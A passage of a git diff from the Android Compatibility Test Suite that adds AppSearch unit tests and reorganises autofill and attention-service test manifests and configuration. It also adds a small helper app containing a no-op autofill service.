+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.SetSchemaResponse;
+
+import org.junit.Test;
+
+public class SetSchemaResponseCtsTest {
+    @Test
+    public void testRebuild() {
+        SetSchemaResponse.MigrationFailure failure1 =
+                new SetSchemaResponse.MigrationFailure.Builder()
+                        .setNamespace("namespace")
+                        .setSchemaType("schemaType")
+                        .setUri("failure1")
+                        .setAppSearchResult(
+                                AppSearchResult.newFailedResult(
+                                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage"))
+                        .build();
+        SetSchemaResponse.MigrationFailure failure2 =
+                new SetSchemaResponse.MigrationFailure.Builder()
+                        .setNamespace("namespace")
+                        .setSchemaType("schemaType")
+                        .setUri("failure2")
+                        .setAppSearchResult(
+                                AppSearchResult.newFailedResult(
+                                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage"))
+                        .build();
+
+        SetSchemaResponse original =
+                new SetSchemaResponse.Builder()
+                        .addDeletedType("delete1")
+                        .addIncompatibleType("incompatible1")
+                        .addMigratedType("migrated1")
+                        .addMigrationFailure(failure1)
+                        .build();
+        assertThat(original.getDeletedTypes()).containsExactly("delete1");
+        assertThat(original.getIncompatibleTypes()).containsExactly("incompatible1");
+        assertThat(original.getMigratedTypes()).containsExactly("migrated1");
+        assertThat(original.getMigrationFailures()).containsExactly(failure1);
+
+        SetSchemaResponse rebuild =
+                original.toBuilder()
+                        .addDeletedType("delete2")
+                        .addIncompatibleType("incompatible2")
+                        .addMigratedType("migrated2")
+                        .addMigrationFailure(failure2)
+                        .build();
+
+        // rebuild won't effect the original object
+        assertThat(original.getDeletedTypes()).containsExactly("delete1");
+        assertThat(original.getIncompatibleTypes()).containsExactly("incompatible1");
+        assertThat(original.getMigratedTypes()).containsExactly("migrated1");
+        assertThat(original.getMigrationFailures()).containsExactly(failure1);
+
+        assertThat(rebuild.getDeletedTypes()).containsExactly("delete1", "delete2");
+        assertThat(rebuild.getIncompatibleTypes())
+                .containsExactly("incompatible1", "incompatible2");
+        assertThat(rebuild.getMigratedTypes()).containsExactly("migrated1", "migrated2");
+        assertThat(rebuild.getMigrationFailures()).containsExactly(failure1, failure2);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java
new file mode 100644
index 0000000..debb5b3
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/customer/CustomerDocumentTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts.customer;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.annotation.NonNull;
+import android.app.appsearch.GenericDocument;
+
+import org.junit.Test;
+
+/**
+ * Tests that {@link GenericDocument} and {@link GenericDocument.Builder} are extendable by
+ * developers.
+ *
+ * <p>This class is intentionally in a different package than {@link GenericDocument} to make sure
+ * there are no package-private methods required for external developers to add custom types.
+ */
+public class CustomerDocumentTest {
+
+    private static final byte[] BYTE_ARRAY1 = new byte[] {(byte) 1, (byte) 2, (byte) 3};
+    private static final byte[] BYTE_ARRAY2 = new byte[] {(byte) 4, (byte) 5, (byte) 6};
+    private static final GenericDocument DOCUMENT_PROPERTIES1 =
+            new GenericDocument.Builder<>(
+                            "namespace", "sDocumentProperties1", "sDocumentPropertiesSchemaType1")
+                    .build();
+    private static final GenericDocument DOCUMENT_PROPERTIES2 =
+            new GenericDocument.Builder<>(
+                            "namespace", "sDocumentProperties2", "sDocumentPropertiesSchemaType2")
+                    .build();
+
+    @Test
+    public void testBuildCustomerDocument() {
+        CustomerDocument customerDocument =
+                new CustomerDocument.Builder("namespace", "uri1")
+                        .setScore(1)
+                        .setCreationTimestampMillis(0)
+                        .setPropertyLong("longKey1", 1L, 2L, 3L)
+                        .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+                        .setPropertyBoolean("booleanKey1", true, false, true)
+                        .setPropertyString(
+                                "stringKey1", "test-value1", "test-value2", "test-value3")
+                        .setPropertyBytes("byteKey1", BYTE_ARRAY1, BYTE_ARRAY2)
+                        .setPropertyDocument(
+                                "documentKey1", DOCUMENT_PROPERTIES1, DOCUMENT_PROPERTIES2)
+                        .build();
+
+        assertThat(customerDocument.getNamespace()).isEqualTo("namespace");
+        assertThat(customerDocument.getUri()).isEqualTo("uri1");
+        assertThat(customerDocument.getSchemaType()).isEqualTo("customerDocument");
+        assertThat(customerDocument.getScore()).isEqualTo(1);
+        assertThat(customerDocument.getCreationTimestampMillis()).isEqualTo(0L);
+        assertThat(customerDocument.getPropertyLongArray("longKey1"))
+                .asList()
+                .containsExactly(1L, 2L, 3L);
+        assertThat(customerDocument.getPropertyDoubleArray("doubleKey1"))
+                .usingExactEquality()
+                .containsExactly(1.0, 2.0, 3.0);
+        assertThat(customerDocument.getPropertyBooleanArray("booleanKey1"))
+                .asList()
+                .containsExactly(true, false, true);
+        assertThat(customerDocument.getPropertyStringArray("stringKey1"))
+                .asList()
+                .containsExactly("test-value1", "test-value2", "test-value3");
+        assertThat(customerDocument.getPropertyBytesArray("byteKey1"))
+                .asList()
+                .containsExactly(BYTE_ARRAY1, BYTE_ARRAY2);
+        assertThat(customerDocument.getPropertyDocumentArray("documentKey1"))
+                .asList()
+                .containsExactly(DOCUMENT_PROPERTIES1, DOCUMENT_PROPERTIES2);
+    }
+
+    /**
+     * An example document type for test purposes, defined outside of {@link GenericDocument} (the
+     * way an external developer would define it).
+     */
+    private static class CustomerDocument extends GenericDocument {
+        private CustomerDocument(GenericDocument document) {
+            super(document);
+        }
+
+        public static class Builder extends GenericDocument.Builder<CustomerDocument.Builder> {
+            private Builder(@NonNull String namespace, @NonNull String uri) {
+                super(namespace, uri, "customerDocument");
+            }
+
+            @Override
+            @NonNull
+            public CustomerDocument build() {
+                return new CustomerDocument(super.build());
+            }
+        }
+    }
+}
diff --git a/tests/aslr/TEST_MAPPING b/tests/aslr/TEST_MAPPING
new file mode 100644
index 0000000..ee44915
--- /dev/null
+++ b/tests/aslr/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAslrMallocTestCases"
+    }
+  ]
+}
diff --git a/tests/attentionservice/AndroidManifest.xml b/tests/attentionservice/AndroidManifest.xml
index 22ab937..341a6f9 100644
--- a/tests/attentionservice/AndroidManifest.xml
+++ b/tests/attentionservice/AndroidManifest.xml
@@ -16,30 +16,30 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.attentionservice.cts">
+     package="android.attentionservice.cts">
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <service
-            android:name=".CtsTestAttentionService"
-            android:label="CtsTestAttentionService"
-            android:permission="android.permission.BIND_ATTENTION_SERVICE">
+        <uses-library android:name="android.test.runner"/>
+        <service android:name=".CtsTestAttentionService"
+             android:label="CtsTestAttentionService"
+             android:permission="android.permission.BIND_ATTENTION_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.service.attention.AttentionService"/>
             </intent-filter>
         </service>
-        <activity android:name="CtsAttentionServiceDeviceActivity" >
+        <activity android:name="CtsAttentionServiceDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the Attention Service APIs."
-        android:targetPackage="android.attentionservice.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the Attention Service APIs."
+         android:targetPackage="android.attentionservice.cts">
     </instrumentation>
 </manifest>
diff --git a/tests/autofillservice/Android.bp b/tests/autofillservice/Android.bp
index 5e022ea..f973d0e 100644
--- a/tests/autofillservice/Android.bp
+++ b/tests/autofillservice/Android.bp
@@ -32,6 +32,7 @@
         // TODO: remove once Android migrates to JUnit 4.12,
         // which provides assertThrows
         "testng",
+        "cts-wm-util",
     ],
     srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index f690678..58dd553 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -14,202 +14,211 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.autofillservice.cts"
-    android:targetSandboxVersion="2">
+     package="android.autofillservice.cts"
+     android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
     <application>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name=".LoginActivity" >
+        <activity android:name=".activities.LoginActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".PreFilledLoginActivity" />
-        <activity android:name=".LoginWithCustomHighlightActivity"
-                  android:theme="@style/MyAutofilledHighlight"/>
-        <activity android:name=".LoginWithStringsActivity" />
-        <activity android:name=".LoginNotImportantForAutofillActivity" />
-        <activity android:name=".LoginNotImportantForAutofillWrappedActivityContextActivity" />
-        <activity android:name=".LoginNotImportantForAutofillWrappedApplicationContextActivity" />
-        <activity android:name=".WelcomeActivity" android:taskAffinity=".WelcomeActivity"/>
-        <activity android:name=".ViewActionActivity"
-                  android:taskAffinity=".ViewActionActivity"
-                  android:launchMode="singleTask">
+        <activity android:name=".activities.PreFilledLoginActivity"/>
+        <activity android:name=".activities.LoginWithCustomHighlightActivity"
+             android:theme="@style/MyAutofilledHighlight"/>
+        <activity android:name=".activities.LoginWithStringsActivity"/>
+        <activity android:name=".activities.LoginNotImportantForAutofillActivity"/>
+        <activity android:name=".activities.LoginNotImportantForAutofillWrappedActivityContextActivity"/>
+        <activity android:name=".activities.LoginNotImportantForAutofillWrappedApplicationContextActivity"/>
+        <activity android:name=".activities.WelcomeActivity"
+             android:taskAffinity=".WelcomeActivity"/>
+        <activity android:name=".activities.ViewActionActivity"
+             android:taskAffinity=".ViewActionActivity"
+             android:launchMode="singleTask"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <data android:scheme="autofillcts" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.VIEW"/>
+                <data android:scheme="autofillcts"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity android:name=".SecondActivity" android:taskAffinity=".SecondActivity"/>
-        <activity android:name=".ViewAttributesTestActivity" />
-        <activity android:name=".AuthenticationActivity" />
-        <activity android:name=".ManualAuthenticationActivity" />
-        <activity android:name=".CheckoutActivity" android:taskAffinity=".CheckoutActivity"/>
-        <activity android:name=".InitializedCheckoutActivity" />
-        <activity android:name=".DatePickerCalendarActivity" />
-        <activity android:name=".DatePickerSpinnerActivity" />
-        <activity android:name=".TimePickerClockActivity" />
-        <activity android:name=".TimePickerSpinnerActivity" />
-        <activity android:name=".FatActivity" />
-        <activity android:name=".VirtualContainerActivity">
+        <activity android:name=".activities.SecondActivity"
+             android:taskAffinity=".SecondActivity"/>
+        <activity android:name=".activities.ViewAttributesTestActivity"/>
+        <activity android:name=".activities.AuthenticationActivity"/>
+        <activity android:name=".activities.ManualAuthenticationActivity"/>
+        <activity android:name=".activities.CheckoutActivity"
+             android:taskAffinity=".CheckoutActivity"/>
+        <activity android:name=".activities.InitializedCheckoutActivity"/>
+        <activity android:name=".activities.DatePickerCalendarActivity"/>
+        <activity android:name=".activities.DatePickerSpinnerActivity"/>
+        <activity android:name=".activities.TimePickerClockActivity"/>
+        <activity android:name=".activities.TimePickerSpinnerActivity"/>
+        <activity android:name=".activities.FatActivity"/>
+        <activity android:name=".activities.VirtualContainerActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".OptionalSaveActivity" />
-        <activity android:name=".AllAutofillableViewsActivity" />
-        <activity android:name=".GridActivity"/>
-        <activity android:name=".EmptyActivity"/>
-        <activity android:name=".DummyActivity"/>
-        <activity android:name=".OutOfProcessLoginActivity"
-            android:process="android.autofillservice.cts.outside"/>
-        <activity android:name=".FragmentContainerActivity" />
-        <activity android:name=".DuplicateIdActivity"
-            android:theme="@android:style/Theme.NoTitleBar" />
-        <activity android:name=".SimpleSaveActivity"/>
-        <activity android:name=".PreSimpleSaveActivity">
+        <activity android:name=".activities.OptionalSaveActivity"/>
+        <activity android:name=".activities.GridActivity"/>
+        <activity android:name=".activities.EmptyActivity"/>
+        <activity android:name=".activities.DummyActivity"/>
+        <activity android:name=".activities.OutOfProcessLoginActivity"
+             android:process="android.autofillservice.cts.outside"/>
+        <activity android:name=".activities.FragmentContainerActivity"/>
+        <activity android:name=".activities.DuplicateIdActivity"
+             android:theme="@android:style/Theme.NoTitleBar"/>
+        <activity android:name=".activities.SimpleSaveActivity"/>
+        <activity android:name=".activities.PreSimpleSaveActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".WebViewActivity"/>
-        <activity android:name=".WebViewMultiScreenLoginActivity"/>
-        <activity android:name=".TrampolineWelcomeActivity"/>
-        <activity android:name=".AttachedContextActivity"/>
-        <activity android:name=".DialogLauncherActivity" >
+        <activity android:name=".activities.WebViewActivity"/>
+        <activity android:name=".activities.WebViewMultiScreenLoginActivity"/>
+        <activity android:name=".activities.TrampolineWelcomeActivity"/>
+        <activity android:name=".activities.AttachedContextActivity"/>
+        <activity android:name=".activities.DialogLauncherActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".MultiWindowLoginActivity" />
-        <activity android:name=".MultiWindowEmptyActivity"
-            android:taskAffinity="nobody.but.EmptyActivity"
-            android:exported="true" />
+        <activity android:name=".activities.MultiWindowLoginActivity"/>
+        <activity android:name=".activities.MultiWindowEmptyActivity"
+             android:taskAffinity="nobody.but.EmptyActivity"
+             android:exported="true"/>
 
-        <activity android:name=".TrampolineForResultActivity" />
-        <activity android:name=".OnCreateServiceStatusVerifierActivity"/>
-        <activity android:name=".UsernameOnlyActivity" >
+        <activity android:name=".activities.TrampolineForResultActivity"/>
+        <activity android:name=".activities.OnCreateServiceStatusVerifierActivity"/>
+        <activity android:name=".activities.UsernameOnlyActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".PasswordOnlyActivity" >
+        <activity android:name=".activities.PasswordOnlyActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".augmented.AugmentedLoginActivity">
+        <activity android:name=".activities.AugmentedLoginActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".augmented.AugmentedAuthActivity" />
-        <activity android:name=".SimpleAfterLoginActivity" />
-        <activity android:name=".SimpleBeforeLoginActivity" />
-        <activity android:name=".NonAutofillableActivity" />
+        <activity android:name=".activities.AugmentedAuthActivity" />
+        <activity android:name=".activities.SimpleAfterLoginActivity"/>
+        <activity android:name=".activities.SimpleBeforeLoginActivity"/>
+        <activity android:name=".activities.NonAutofillableActivity"/>
+        <activity android:name=".activities.ClientSuggestionsActivity"/>
 
-        <receiver android:name=".SelfDestructReceiver"
-            android:exported="true"
-            android:process="android.autofillservice.cts.outside"/>
-        <receiver android:name=".OutOfProcessLoginActivityFinisherReceiver"
-            android:exported="true"
-            android:process="android.autofillservice.cts.outside"/>
+        <receiver android:name=".testcore.SelfDestructReceiver"
+             android:exported="true"
+             android:process="android.autofillservice.cts.outside"/>
+        <receiver android:name=".testcore.OutOfProcessLoginActivityFinisherReceiver"
+             android:exported="true"
+             android:process="android.autofillservice.cts.outside"/>
 
-        <service
-            android:name=".InstrumentedAutoFillService"
-            android:label="InstrumentedAutoFillService"
-            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+        <service android:name=".testcore.InstrumentedAutoFillService"
+             android:label="InstrumentedAutoFillService"
+             android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
         </service>
-        <service
-            android:name=".InstrumentedAutoFillServiceCompatMode"
-            android:label="InstrumentedAutoFillServiceCompatMode"
-            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+        <service android:name=".testcore.InstrumentedAutoFillServiceCompatMode"
+             android:label="testcore.InstrumentedAutoFillServiceCompatMode"
+             android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
-            <meta-data
-                android:name="android.autofill"
-                android:resource="@xml/autofill_service_compat_mode_config">
+            <meta-data android:name="android.autofill"
+                 android:resource="@xml/autofill_service_compat_mode_config">
             </meta-data>
         </service>
-        <service
-            android:name=".inline.InstrumentedAutoFillServiceInlineEnabled"
-            android:label="InstrumentedAutoFillServiceInlineEnabled"
-            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+        <service android:name=".testcore.InstrumentedAutoFillServiceInlineEnabled"
+             android:label="InstrumentedAutoFillServiceInlineEnabled"
+             android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
-            <meta-data
-                android:name="android.autofill"
-                android:resource="@xml/autofill_service_inline_enabled">
+            <meta-data android:name="android.autofill"
+                 android:resource="@xml/autofill_service_inline_enabled">
             </meta-data>
         </service>
-        <service
-            android:name=".NoOpAutofillService"
-            android:label="NoOpAutofillService"
-            android:permission="android.permission.BIND_AUTOFILL_SERVICE" >
+        <service android:name=".testcore.NoOpAutofillService"
+             android:label="NoOpAutofillService"
+             android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
         </service>
         <!--  BadAutofillService does not declare the proper permission -->
-        <service
-            android:name=".BadAutofillService"
-            android:label="BadAutofillService">
+        <service android:name=".testcore.BadAutofillService"
+             android:label="testcore.BadAutofillService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
         </service>
 
-        <service
-            android:name=".augmented.CtsAugmentedAutofillService"
-            android:label="CtsAugmentedAutofillService"
-            android:permission="android.permission.BIND_AUGMENTED_AUTOFILL_SERVICE" >
+        <service android:name=".testcore.CtsAugmentedAutofillService"
+             android:label="CtsAugmentedAutofillService"
+             android:permission="android.permission.BIND_AUGMENTED_AUTOFILL_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.autofill.AutofillService" />
+                <action android:name="android.service.autofill.AutofillService"/>
             </intent-filter>
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the AutoFill Framework APIs."
-        android:targetPackage="android.autofillservice.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the AutoFill Framework APIs."
+         android:targetPackage="android.autofillservice.cts">
     </instrumentation>
 
 </manifest>
diff --git a/tests/autofillservice/AndroidTest.xml b/tests/autofillservice/AndroidTest.xml
index 288ddba..3186d47 100644
--- a/tests/autofillservice/AndroidTest.xml
+++ b/tests/autofillservice/AndroidTest.xml
@@ -23,6 +23,12 @@
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
     <option name="test-file-name" value="CtsAutoFillServiceTestCases.apk" />
+    <option name="test-file-name" value="TestAutofillServiceApp.apk" />
+  </target_preparer>
+
+  <!-- Load additional APKs onto device -->
+  <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+    <option name="push" value="TestAutofillServiceApp.apk->/data/local/tmp/cts/autofill/TestAutofillServiceApp.apk" />
   </target_preparer>
 
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
@@ -41,6 +47,11 @@
     <option name="teardown-command" value="cmd autofill set bind-instant-service-allowed false" />
   </target_preparer>
 
+  <!--  Remove the pushed APK after test is done. -->
+  <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+    <option name="teardown-command" value="rm -rf /data/local/tmp/cts/autofill" />
+  </target_preparer>
+
   <test class="com.android.tradefed.testtype.AndroidJUnitTest">
     <option name="package" value="android.autofillservice.cts" />
     <!-- 20x default timeout of 600sec -->
@@ -54,10 +65,4 @@
     <option name="collect-on-run-ended-only" value="true" />
     <option name="clean-up" value="false" />
   </metrics_collector>
-  <!-- Automotive tests run on user 10 -->
-  <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
-    <option name="directory-keys" value="/storage/emulated/10/CtsAutoFillServiceTestCases" />
-    <option name="collect-on-run-ended-only" value="true" />
-    <option name="clean-up" value="false" />
-  </metrics_collector>
 </configuration>
diff --git a/tests/autofillservice/TestAutofillService/Android.bp b/tests/autofillservice/TestAutofillService/Android.bp
new file mode 100644
index 0000000..9f565e1
--- /dev/null
+++ b/tests/autofillservice/TestAutofillService/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "TestAutofillServiceApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+}
diff --git a/tests/autofillservice/TestAutofillService/AndroidManifest.xml b/tests/autofillservice/TestAutofillService/AndroidManifest.xml
new file mode 100644
index 0000000..bcd391e
--- /dev/null
+++ b/tests/autofillservice/TestAutofillService/AndroidManifest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.autofill.cts2"
+          android:targetSandboxVersion="2">
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+
+        <activity android:name=".QueryAutofillStatusActivity"
+                  android:label="QueryAutofillStatusActivity"
+                  android:taskAffinity=".QueryAutofillStatusActivity"
+                  android:theme="@android:style/Theme.NoTitleBar"
+                  android:exported="true">
+        </activity>
+        <service android:name=".NoOpAutofillService"
+                 android:label="NoOpAutofillService"
+                 android:permission="android.permission.BIND_AUTOFILL_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.service.autofill.AutofillService"/>
+            </intent-filter>
+        </service>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:label="CTS tests for the AutoFill Framework APIs."
+                     android:targetPackage="android.autofill.cts2">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/NoOpAutofillService.java b/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/NoOpAutofillService.java
new file mode 100644
index 0000000..eaf69b0
--- /dev/null
+++ b/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/NoOpAutofillService.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofill.cts2;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+import android.util.Log;
+
+/**
+ * {@link AutofillService} implementation that does not do anything.
+ */
+public class NoOpAutofillService extends AutofillService {
+
+    private static final String TAG = "NoOpAutofillService";
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillCallback callback) {
+        Log.d(TAG, "onFillRequest()");
+    }
+
+    @Override
+    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+        Log.d(TAG, "onFillResponse()");
+    }
+}
diff --git a/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/QueryAutofillStatusActivity.java b/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/QueryAutofillStatusActivity.java
new file mode 100644
index 0000000..e0d9e2b
--- /dev/null
+++ b/tests/autofillservice/TestAutofillService/src/android/autofill/cts2/QueryAutofillStatusActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
